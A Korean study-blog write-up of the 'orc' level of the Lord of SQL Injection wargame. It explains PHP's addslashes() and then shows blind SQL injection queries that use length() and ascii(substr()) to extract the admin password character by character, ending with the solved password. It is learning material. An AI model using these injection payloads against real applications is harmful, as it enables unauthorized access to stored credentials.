minhui study
[ Lord of SQL Injection ] orc 본문
Challenge orc
GET 방식으로 pw를 입력받고 addslashes()함수를 통해 pw를 변환하고
그 비밀번호에 일치하는 비밀번호를 테이블에서 찾아낸 뒤 GET방식으로 받아온 pw와 같으면 문제가 풀린다.
여기서 addslashes()함수에 대해 잠깐 알아보고 넘어가자
만약에 I'm a girl 이라는 문자열을 전송하게 되면 '(따옴표)때문에 오류가 발생하게 된다.
이 때 addslashes함수가 I(역슬래쉬)'m a girl로 바꾸어 주는 작업을 해준다.
그리고 DB에서 다시 꺼내왔을 때 추가됐던 백슬래쉬를 제거해주는 함수가 바로 stripslashes()함수이다.
자 이제 문제는 pw를 어떻게 찾나 이다.
먼저 pw길이부터 알아보자
select id from prob_orc where id='admin' and pw='1' or and id='admin' and length(pw)=8-- a'
이런식으로 Hello admin이 뜰 때까지 숫자를 넣어가다보면 pw길이가 8이라는 것을 알 수 있다.
그럼 이제 첫번 째 글자를 알아내보자
select id from prob_orc where id='admin' and pw='1' or and id='admin' and ascii(substr(pw, 1, 1)) > 40-- a'
이런 식으로 substr함수와 ascii함수를 이용하여 참이 될 때까지 하다보면 1번째 글자수를 알 수 있다.
n번 째 글자들도 동일한 방식으로 알아낼 수 있다.
1번째 글자(아스키) -> 50 --> 2
2번째 글자(아스키) -> 57 --> 9
3번째 글자(아스키) -> 53 --> 5
4번째 글자(아스키) -> 100 --> d
5번째 글자(아스키) -> 53 --> 5
6번째 글자(아스키) -> 56 --> 8
7번째 글자(아스키) -> 52 --> 4
8번째 글자(아스키) -> 52 --> 4
pw -> 295d5844
'Hacking > Lord of SQLInjection' 카테고리의 다른 글
[ Lord of SQL Injection ] goblin (0) | 2020.03.23 |
---|---|
[ Lord of SQL Injection ] cobolt (0) | 2020.03.23 |
[ Lord of SQL Injection ] Gremlin (0) | 2020.03.23 |